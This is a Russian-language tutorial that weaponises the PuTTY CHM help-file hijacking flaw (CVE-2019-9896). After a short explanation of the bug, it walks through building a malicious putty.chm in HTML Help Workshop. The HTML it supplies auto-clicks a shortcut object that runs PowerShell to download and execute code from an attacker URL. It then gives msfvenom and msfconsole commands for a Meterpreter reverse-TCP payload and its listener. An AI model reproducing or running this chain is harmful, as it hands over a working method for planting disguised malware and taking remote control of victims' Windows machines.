
Потенциальное выполнение вредоносного кода через CHM hijacking (CVE-2019-9896)
Возможное выполнение вредоносного кода через перехват CHM
Начиная с версии 0.70 и ранее, при запуске онлайн-справки в любом из графических инструментов PuTTY для Windows, инструмент искал свой файл справки рядом со своим собственным исполняемым файлом.
Если вы запускали PuTTY из каталога, в который посторонний код мог поместить файлы (например, запуская его прямо из каталога загрузок браузера по умолчанию), это означает, что если кто-то умудрился поместить файл с именем putty.chm в этот каталог (например, заманив вас нажать на ссылку загрузки с таким именем), то PuTTY посчитал бы его настоящим файлом справки и передал бы его htmlhelp.exe.
Это уязвимость, так как файлы HTML-справки (.chm) могут, в свою очередь, запускать код по своему выбору, например, встраивая HTML-элемент , который является ярлыком Windows, вместе с JavaScript для его активации.
Подробнее: https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
CHM — это расширение для формата скомпилированных HTML-файлов, чаще всего используемое программой справки Microsoft на основе HTML. Он может содержать множество сжатых HTML-документов, а также изображения и JavaScript, на которые они ссылаются. Возможности CHM включают оглавление, индекс и полнотекстовый поиск.
В прошлом злоумышленники использовали CHM-файлы для загрузки файлов бэкдора, что часто применяется в целевых атаках.
https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
Нам понадобится набор инструментов HTML Help Workshop для создания CHM-файла. После установки запустите HTML Help Workshop.
Нажмите File > New > Project и следуйте шагам ниже:
Создание проекта HTML Help
Экран нового проекта > Next > Browse
Укажите имя вашего файла проекта и место, где вы хотите его создать.
Заполните имя файла: putty и нажмите "Open"
Укажите ваш проект HTML Help
Выберите HTML-файлы (.htm)
Укажите, где находятся ваши .htm файлы.
Кнопка Add.. и выберите уже созданную директорию для эксплойта, чтобы разместить ваш вредоносный файл, например, putty.htm
Выбор HTM файла
Мастер создаст новый проект HTML Help. Нам нужно внести изменения.
В инструменте дважды щелкните по созданному htm, чтобы отредактировать его, затем вставьте приведенный ниже код для создания базового файла справки:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>
</BODY>
</HTML>
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{URL ВАШЕГО ВРЕДОНОСНОГО ФАЙЛА}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Добро пожаловать! </h3></p>
</body>
</html>
Создание вредоносного файла
Как создать простую полезную нагрузку TCP Meterpreter для Windows?
msfvenom -p windows/meterpreter/reverse_tcp LHOST={ВАШ IP} LPORT={ПОРТ} -f exe > malware.exe
Когда вы дважды щелкаете по кнопке «Help», putty.exe запускается как дочерний процесс malware.exe, который является интерпретатором CHM-файла. (Ваш вредоносный putty.chm и putty.exe должны находиться в одной директории)
Запуск вредоносного ПО
Как получить оболочку meterpreter?
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {ВАШ IP}
lhost => {ВАШ IP}
msf exploit(multi/handler) > set lport {ПОРТ}
lport => {ПОРТ}
msf exploit(multi/handler) > run
Ресурсы: